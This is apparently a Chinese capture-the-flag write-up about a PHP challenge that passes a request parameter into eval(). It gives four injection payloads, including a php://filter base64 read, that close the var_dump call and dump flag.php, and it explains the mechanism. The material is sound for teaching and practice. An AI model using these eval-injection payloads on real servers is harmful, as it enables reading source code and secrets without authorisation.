这道题有四种写入方式:
1、?hello=);show_source(%27flag.php%27);// 2、?hello=);include $_POST['zzz'];// POST传参:zzz=php://filter/read=convert.base64-encode/resource=flag.php 3、?hello=file(%27flag.php%27) 4、?hello=show_source('flag.php') 源码: <?php include "flag.php"; //flag存储在flag.php这个脚本里,但是被注释掉了,我们需要把flag.php的源码整个显示出来 $a = @$_REQUEST['hello']; //无论是以POST还是GET方式,都可以给$a赋值 eval("var_dump($a);") //var_dump可以输出变量的类型和值,详见手册 show_source(__FILE__);?>解析:以第一种payload为例首先我们知道eval()函数可以以字符串作为PHP代码执行,所以$a=);show_source(%27flag.php%27);//=>eval("var_dump();show_source(%27flag.php%27);//);")很明显,);将之前的函数闭合了,真正执行的函数变成了后面的show_source(),而原来的);作为注释被忽略了后面几种都是这样的思想,与sql注入很相似
|